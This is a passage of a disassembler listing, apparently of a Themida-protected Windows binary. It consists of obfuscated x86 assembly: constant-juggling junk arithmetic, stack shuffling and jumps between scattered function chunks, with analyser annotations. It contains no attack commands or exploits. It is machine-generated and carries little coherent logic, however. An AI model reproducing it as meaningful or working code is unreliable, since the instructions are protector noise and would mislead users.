BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, esp push 322Eh mov [esp+8+var_8], edi mov edi, 4 add eax, edi pop edi push 4553h mov [esp+8+var_8], ebp push edi jmp loc_5754CD sub_56E05C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56E082: ; CODE XREF: sub_56CC46+76F2j add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp add esi, 4 xchg esi, [esp+0] pop esp push 238Ch mov [esp+0], ebx push esp pop ebx jmp loc_5705ED ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56E0A5: ; CODE XREF: sub_574656-CEDEj and esi, 7C1E4D7Ah jmp loc_56C9D7 ; END OF FUNCTION CHUNK FOR sub_574656 ; =============== S U B R O U T I N E ======================================= sub_56E0B0 proc near ; DATA XREF: Themida_:0055FD6Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005605A4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00560945 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005622EB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563555 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056613E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569845 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AF52 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B924 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00570DAF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00571081 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00575284 SIZE 00000009 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop eax add esp, 4 push 3AE8h mov [esp+4+var_4], ebp push eax jmp loc_56613E sub_56E0B0 endp ; =============== S U B R O U T I N E ======================================= sub_56E0CB proc near ; CODE XREF: sub_56C79C+9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055FFE5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005620BF SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005666EC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056A24E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056AE62 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E536 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00572389 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572A95 SIZE 0000000B BYTES sub esp, 4 mov [esp-4+arg_0], esp jmp loc_56E536 sub_56E0CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56E0D6: ; CODE XREF: sub_568646+5820j mov al, dl push ebx mov bl, al mov ch, bl pop ebx mov eax, [esp+14h+var_14] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+18h+var_18] pop esp mov bl, ch jmp loc_569C88 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_56E0FB: ; CODE XREF: sub_567CFE-7D1Ej add edx, 1C6B43A2h and edx, 5759297Ah shl edx, 6 xor edx, 6E43F88h push ecx mov ecx, 58F32020h sub edx, ecx pop ecx sub ebp, edx mov edx, [esp+0Ch+var_C] add esp, 4 jmp loc_56E22D ; END OF FUNCTION CHUNK FOR sub_567CFE ; =============== S U B R O U T I N E ======================================= sub_56E126 proc near ; CODE XREF: sub_5696A1+6A2Aj var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005603D1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561BEA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005624F5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562B36 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00563744 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563881 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564B52 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564E41 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00564F7E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565C76 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565EE5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056673B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005677B7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00567D55 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568D11 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00569424 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00569F8E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056C75F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D5FE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D647 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 0056DCAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EAD3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F448 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F761 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00570A3C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00570A8C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570BF2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005728DE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005735A0 SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 67765B93h jmp loc_56673B sub_56E126 endp ; --------------------------------------------------------------------------- loc_56E139: ; CODE XREF: Themida_:0056BE31j add ecx, 4 push 5F7Eh mov [esp], edi mov edi, 0F870EE4h push esi push edi push 673278Eh mov edi, [esp] jmp loc_574F80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716F1 loc_56E15B: ; CODE XREF: sub_5716F1-7CCAj pop ebx mov eax, 2FCE15A2h add eax, edx pop edx push ebx jmp loc_563E23 ; END OF FUNCTION CHUNK FOR sub_5716F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_56E16A: ; CODE XREF: sub_574896+6j sub edi, ebp pop ebp xchg edi, [esp+0] pop esp mov [esp-4+arg_0], eax jmp loc_5727BD ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56E179: ; CODE XREF: sub_57146D-167Dj xor dl, ah mov eax, [esp+0Eh+var_10+2] add esp, 4 dec dl not dl neg dl push ax mov al, 0F4h push cx jmp loc_571FCA ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_56E195: ; CODE XREF: sub_566DC7+3222j xor esi, [esp+8+var_8] jmp loc_56FF2B ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_56E19D: ; CODE XREF: sub_5738F4-2B70j xor [esp+4+var_4], ebx jmp loc_562EE9 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_56E1A5: ; CODE XREF: sub_564020+16j push dword ptr [esp+0] pop eax jmp loc_562AA7 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56E1AE: ; CODE XREF: sub_574304-D9F8j sub eax, 97D351Eh jmp loc_5734B9 ; END OF FUNCTION CHUNK FOR sub_574304 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56E1B8 proc near ; CODE XREF: sub_56A423+9A85j ; FUNCTION CHUNK AT 00564507 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565FCB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056F6B2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570129 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005735C8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0057395E SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00573C6B SIZE 00000019 BYTES push ebp mov ebp, esp add ebp, 4 jmp loc_57395E sub_56E1B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_56E1C6: ; CODE XREF: sub_574949-F7F2j add dh, 19h add cl, dh pop edx jmp loc_560636 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564B0B loc_56E1D1: ; CODE XREF: sub_564B0B+1Dj add ebx, 69C835A5h pop edx sub esp, 4 mov [esp+8+var_8], ebp push ecx mov ecx, 94A29C1h shl ecx, 6 push ebp jmp loc_56AF7F ; END OF FUNCTION CHUNK FOR sub_564B0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_56E1F0: ; CODE XREF: sub_5692D3-1394j sub ecx, 6A177A68h add ecx, 41634E4Eh push ebx jmp sub_56351E ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- loc_56E202: ; CODE XREF: Themida_:00574224j pop eax sub edx, 88E5D154h sub ecx, edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5710E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56E220: ; CODE XREF: sub_56D855-C3A4j mov eax, edx pop edx xor eax, 55220AAAh jmp loc_5639FD ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_56E22D: ; CODE XREF: sub_567CFE+6423j mov ecx, [esp+8+var_8] add esp, 4 xor ebp, 3E984444h jmp loc_5737FB ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56E241: ; CODE XREF: sub_56B06D+7B46j mov edx, 44A70F74h xchg esi, edx not esi xchg esi, edx push ecx mov ecx, 33E70A75h sub edx, 1EF274ADh add edx, ecx add edx, 1EF274ADh push [esp+0Ch+var_C] pop ecx add esp, 4 sub eax, edx mov edx, [esp+8+var_8] add esp, 4 mov [edx+30h], eax push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 add esp, 4 popa popf retn ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56E289: ; CODE XREF: sub_565632+74CBj mov eax, 5DED080Dh neg eax not eax shr eax, 5 or eax, 3F7647D3h add eax, 0A697FA43h sub esi, eax jmp loc_56C2DA ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56E2A6: ; CODE XREF: sub_56616D+DB49j mov edi, ebp mov ebp, [esp-0Ch+arg_8] add esp, 4 add edi, ecx mov ecx, [esp-10h+arg_C] add esp, 4 mov esi, 203E1861h sub esi, 75F3156h sub esi, 76BF2ABDh sub esi, edi add esi, 76BF2ABDh add esi, 75F3156h jmp loc_56A0D6 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56E2E0: ; CODE XREF: sub_5648C6+20D9j xor eax, 6E25C9D3h and esi, eax pop eax add esi, 6C872BD5h sub esi, 7B2F25C4h jmp sub_56858D ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56E2F9: ; CODE XREF: sub_57354D-37F4j add [esp+8+var_4], 8CF317Ah add [esp+8+var_4], ebx jmp loc_562827 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56E30A: ; CODE XREF: sub_56616D+325Fj pop edx jmp loc_57455E ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_56E310: ; CODE XREF: sub_569E1B-597Ej pop esp mov [esp+0], edx jmp loc_56D315 ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56E319: ; CODE XREF: sub_5604FE+532j or edi, 4FA749EAh push ebp mov ebp, 1048221Ah add edi, 59D750FEh jmp loc_5695EC ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56E330: ; CODE XREF: sub_56FB8A-C8C7j add edx, 18C03ABh and edx, 100B564Ah jmp loc_5687CB ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56E341: ; CODE XREF: sub_56628B+A064j sub ebp, edx mov edx, [esp+10h+var_10] add esp, 4 jmp loc_5676D9 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56E34E: ; CODE XREF: sub_56B11B-6EC7j pop edx sub ecx, 4 jmp loc_568EA7 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_56E35A: ; CODE XREF: sub_5747FA+2Cj push esi jmp loc_56EAAD ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_56E360: ; CODE XREF: sub_564020+DAE0j add esp, 4 pop edx add ebx, eax push 29BFh mov [esp-4+arg_0], edi push eax mov eax, 47C20C7Bh sub eax, 1 push edx mov edx, 2DE8276Fh jmp loc_572C1D ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56E385: ; CODE XREF: sub_570FB7-109B3j push eax jmp loc_5749BA ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_56E38B: ; CODE XREF: sub_56B71F-5E81j mov eax, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], edx jmp loc_56A1BE ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56E39C: ; CODE XREF: sub_564D26+CF4Aj xor esi, edi push [esp+4+var_4] mov edi, [esp+8+var_8] jmp loc_5714CE ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56E3A9: ; CODE XREF: sub_570E81-946Ej add [esp+4+arg_0], 3DF066B1h pop edx sub [esp+arg_0], 548047F4h jmp loc_56D56A ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56E3BF: ; CODE XREF: sub_56DA43+30BDj add ebp, 543A726Bh add ecx, ebp pop ebp add ecx, ebp push ebp push edi mov edi, 7BE83B48h mov ebp, 288E4F76h jmp loc_56173F ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F0F loc_56E3DB: ; CODE XREF: sub_570F0F-6AFEj pop [esp+4+var_4] pop esp jmp loc_560402 ; END OF FUNCTION CHUNK FOR sub_570F0F ; --------------------------------------------------------------------------- loc_56E3E4: ; CODE XREF: Themida_:0056EC3Aj add esi, 4 sub esi, 4 jmp loc_566A55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A016 loc_56E3F5: ; CODE XREF: sub_56A016+Cj sub al, 9Eh sub al, bh add al, 9Eh jmp loc_5711D6 ; END OF FUNCTION CHUNK FOR sub_56A016 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F0F loc_56E400: ; CODE XREF: sub_570F0F+11j push 110F55F0h pop edx sub edx, 12280CBEh not edx push edi mov edi, 90346591h sub edx, edi pop edi mov ebx, edx pop edx sub ebx, 70E45138h add ecx, 4E692A4Dh add ecx, ebx sub ecx, 4E692A4Dh pop ebx jmp loc_56A408 ; END OF FUNCTION CHUNK FOR sub_570F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56E434: ; CODE XREF: sub_5620B7+6BC6j mov esi, 29226D57h or edx, esi push [esp+14h+var_14] jmp loc_571D33 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- loc_56E443: ; CODE XREF: Themida_:00560C77j push 4742F326h jmp loc_563A3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56E44D: ; CODE XREF: sub_567B29+1j mov ebx, 0 push esi mov esi, 0F4C2C2Ah jmp loc_56B2DA ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56E45D: ; CODE XREF: sub_565632+ACDDj mov esi, 4 add edi, esi pop esi xchg edi, [esp+0] pop esp push ebx push esp pop ebx add ebx, 4 push 5937h mov [esp-10h+arg_C], ebp jmp loc_56F2EA ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56E47F: ; CODE XREF: sub_56BD44-90A4j sub edi, 7AD64362h jmp loc_569724 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- loc_56E48A: ; CODE XREF: Themida_:00571C05j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push ecx mov ecx, 11C90422h jmp loc_564512 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56E4A6: ; CODE XREF: sub_57354D-1154Bj mov ebp, 52944A64h add edi, ebp pop ebp add edi, edx jmp loc_5729E1 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561784 loc_56E4B5: ; CODE XREF: sub_561784+36j mov [esp+4+var_4], edi jmp sub_5631A3 ; END OF FUNCTION CHUNK FOR sub_561784 ; --------------------------------------------------------------------------- loc_56E4BD: ; CODE XREF: Themida_:0056F260j mov eax, 7EDF6695h jmp loc_56B027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56E4C7: ; CODE XREF: sub_569193+13j sub ebx, 4 push ebx push [esp+8+var_4] jmp loc_56BFBE ; END OF FUNCTION CHUNK FOR sub_569193 ; =============== S U B R O U T I N E ======================================= sub_56E4D4 proc near ; CODE XREF: sub_57199D+1C4Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00563AB0 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00568867 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00569EF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B64C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005718E6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005726C9 SIZE 00000008 BYTES push ebx mov ebx, 446E4CBDh inc ebx inc ebx sub ebx, 0EFA7FCE4h sub eax, ebx mov ebx, [esp+0] jmp loc_56B64C sub_56E4D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A7F loc_56E4EC: ; CODE XREF: sub_573A7F-F26j add edi, 26820C74h or edi, 6A9639C9h dec edi push esi mov esi, 41CC3104h sub edi, 6BF3FC9h sub edi, esi add edi, 6BF3FC9h pop esi jmp sub_5666C3 ; END OF FUNCTION CHUNK FOR sub_573A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56E513: ; CODE XREF: sub_56FA15-7F61j push 0 push bx mov bl, 5Ah sub byte ptr [esp+0Eh+var_C], bl pop bx sub byte ptr [esp+0Ch+var_C], ch add byte ptr [esp+0Ch+var_C], 5Ah mov ch, byte ptr [esp+0Ch+var_C] add esp, 4 inc ch jmp loc_563C7F ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_56E536: ; CODE XREF: sub_56E0CB+6j add [esp-4+arg_0], 4 pop ecx push edx mov edx, 4 add ecx, edx mov edx, [esp-4+arg_0] add esp, 4 push ebx push 557Bh jmp loc_56A24E ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626B loc_56E554: ; CODE XREF: sub_56626B+D2F9j add cl, bh add cl, 0B6h pop ebx sub al, cl jmp loc_56FE37 ; END OF FUNCTION CHUNK FOR sub_56626B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56E561: ; CODE XREF: sub_567D31-29A2j sub edi, 0E165599Fh mov ebx, edi pop edi push edi mov edi, 4B1278DDh and edi, 1022CA6h xor edi, 0D7C5F0Ch or edi, 167E3D3Fh shl edi, 1 shl edi, 2 sub edi, 812D846Dh xor ebx, edi pop edi add ecx, ebx jmp loc_5636AD ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56E597: ; CODE XREF: sub_5678CB+DBCCj push ecx mov cl, 19h mov dl, cl pop ecx add ah, dl jmp loc_56985F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_56E5A4: ; CODE XREF: sub_560844+6DD0j mov esi, 63891073h inc esi sub esi, 0CE87D69h and esi, 62732E17h jmp loc_564F4E ; END OF FUNCTION CHUNK FOR sub_560844 ; =============== S U B R O U T I N E ======================================= sub_56E5BB proc near ; DATA XREF: Themida_:0055FE24o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0056118F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005611F6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005689D9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056A813 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571921 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00572FE8 SIZE 00000017 BYTES mov cx, [esp+0] push 56CFh mov [esp+4+var_4], ecx push esp push [esp+8+var_8] jmp loc_56118F sub_56E5BB endp ; --------------------------------------------------------------------------- loc_56E5D0: ; CODE XREF: Themida_:005710F2j jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56E5D5: ; CODE XREF: sub_5653AD-4F8Ej or ebx, edi pop edi not ebx inc ebx add ebx, 0D8849C66h xor esi, ebx mov ebx, [esp+4+var_4] add esp, 4 add ebx, esi jmp loc_566778 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56E5F0: ; CODE XREF: sub_574A21-A4EAj pop edi neg edx add edx, 40F727CAh push edi push edx mov edx, 11B5F92h mov edi, edx pop edx jmp loc_569808 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB93 loc_56E610: ; CODE XREF: sub_56AB93+F1j btc [esp+0], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56AB93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_56E61B: ; CODE XREF: sub_56C3E2-8365j pop edx jmp loc_57106C ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_56E621: ; CODE XREF: sub_56B577-2395j add ebp, 1F8E7AF4h mov eax, [esp+0] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5651FA ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56E63B: ; CODE XREF: sub_56FA15+9j dec bl add bl, 1Ah jmp loc_56A4B5 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_56E645: ; CODE XREF: sub_5662F9+589Aj push edi mov edi, 4 sub esi, 7A1B0607h add esi, edi add esi, 7A1B0607h mov edi, [esp+10h+var_10] add esp, 4 xchg esi, [esp+0Ch+var_C] jmp loc_56C12D ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56E66A: ; CODE XREF: sub_5605BC+CA82j sub ecx, 2B1D0051h add ecx, 0A8F50B6h pop ebx push ebx jmp loc_56867C ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56E67D: ; CODE XREF: sub_561418+EDC1j sub edx, 66EB377Fh mov ebp, [esp+10h+var_10] jmp loc_568B79 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_56E68B: ; CODE XREF: Themida_:0056FBAFj pop esi push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx jmp loc_561669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56E6A2: ; CODE XREF: sub_574656-10550j add esi, ebp push [esp+10h+var_10] pop ebp add esp, 4 jmp sub_56D4B8 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56E6B3: ; CODE XREF: sub_567CF5-1D94j sub ecx, eax pop eax mov ebp, ecx pop ecx push ecx mov ecx, 0A93EA20Ah add ebp, ecx pop ecx add ecx, ebp pop ebp add esi, ecx pop ecx add esi, 2 jmp loc_56F14E ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56E6D3: ; CODE XREF: sub_569193+6580j mov esi, 4 mov ecx, esi mov esi, [esp+0Ch+var_C] add esp, 4 sub edi, 5C881924h add edi, ecx add edi, 5C881924h push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] add esp, 4 add esp, 4 xor edi, [esp+4+var_4] xor [esp+4+var_4], edi jmp loc_5616AD ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56E70E: ; CODE XREF: sub_564D26+1Aj add edx, ecx pop ecx add edx, ebp push ebx mov ebx, 600C0530h not ebx sub ebx, 84A69100h sub edx, ebx pop ebx pop ebp push ecx mov ecx, 4 jmp loc_57393E ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56E730: ; CODE XREF: sub_574A21-13306j push edx mov edx, 5FC07D73h mov ebx, 0D475D92Ah sub ebx, edx pop edx jmp loc_5753D7 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_56E743: ; CODE XREF: sub_561826+3CF4j pop edi add esi, edx pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp+2+var_2] jmp loc_5749A3 ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56E755: ; CODE XREF: sub_574FC9-40EDj add esi, eax pop eax pop ecx add esi, 2 push 4C28h mov [esp+4+var_4], esi push dword ptr [esp+4] mov esi, [esp+8+var_8] push edi jmp loc_56C0B9 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56E771: ; CODE XREF: sub_57549C-DE3j pop eax jmp loc_570115 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- loc_56E777: ; CODE XREF: Themida_:005674ECj mov ebp, ecx mov ecx, [esp] add esp, 4 push esi push 573B5F9Ah pop esi jmp loc_56A18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_56E78B: ; CODE XREF: sub_5666C3+AFC4j mov edi, 152725Dh shl edi, 7 and edi, 617A768Eh add edi, 0F61E28D9h add eax, edi pop edi add eax, edi push ecx jmp loc_5667DD ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56E7AA: ; CODE XREF: sub_56616D-3F36j pop esp push ebx mov ebx, 52DA1556h sub eax, ebx pop ebx push dword ptr [edi+eax*4] push 